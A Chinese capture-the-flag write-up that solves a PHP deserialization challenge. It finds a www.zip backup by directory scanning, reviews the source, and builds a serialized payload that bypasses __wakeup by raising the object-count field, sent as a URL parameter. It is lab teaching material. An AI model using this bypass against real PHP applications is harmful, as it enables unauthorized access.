解题思路

打开靶场,提示备份

常见的备份后缀名有.bak,.backup,.zip等等

这里肯定是要扫目录了,不知道是我的问题还是目录扫描工具的问题还是BUUCTF的问题,每次要扫目录能扫出一堆东西来,不管你用什么后缀,是做了防扫吗?用dirsearch还要设置一下线程,要不然BUUCTF不给你访问了。然后用kali的dirb感觉贼垃圾,总是漏扫...

然后这里的备份文件是www.zip,我觉得也是比较逆天了。

我们直接访问url下载即可

其中,index.js和style.css 一个是猫猫的前端文件,一个是渲染文件,我们重点看另外三个文件,先是flag.php文件:

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

 提示我们flag是变量,我们要输出显示flag。然后是index.php文件

   <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

这里只展示重要部分,包含了class.php文件,然后get了个参数select,并且对参数进行反序列化了。然后我们看class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

 包含了flag.php文件,那么flag变量也被包含其中。定义了一个类,讲一些比较重要的函数

function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }

核心函数function __destruct(),也比较好理解,我们需要让username=admin,password=100即可输出flag,但是我们输入都是被反序列化的,因此我们要逆向思维,将admin和100进行序列化输入,即可被反序列化成对应值。

 function __wakeup(){
        $this->username = 'guest';
    }

这里需要了解的是__wakeup()函数,将username改变成guest,这个函数在反序列化函数的输入为对象时,会自动调用。

总结,我们需要输入包含username和password的值分别等于admin和100的反序列化的值,只能通过输入类进行,因为只有一个get参数。但是输入类,会执行wakeup()函数,username的值会变。因此我们需要绕过该函数。

这里又引出另一个比较坑的点,当反序列化函数的输入为对象时,且对象的个数多于需要的个数,那么就不会执行__wakeup()函数。那么我们只需要构造一个类,有三个值,然后前两个值包含username和password的值分别等于admin和100的反序列化的值即可,先正常定义:

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

用php执行的在线网站可以输出

O:4:"Name":2:{s:14:"□Name□username";s:5:"admin";s:14:"□Name□password";s:3:"100";}

其中有不可见字符□,如果输入到浏览器中会不可见。%00是对象序列化后不可见字符对应的url编码,我们手动加上。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

总结

总的来说比较困难吧,很多细节需要注意。首先www.zip其实就比较难找,然后代码审计比较简单,但是序列化需要一定的代码能力哈。

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐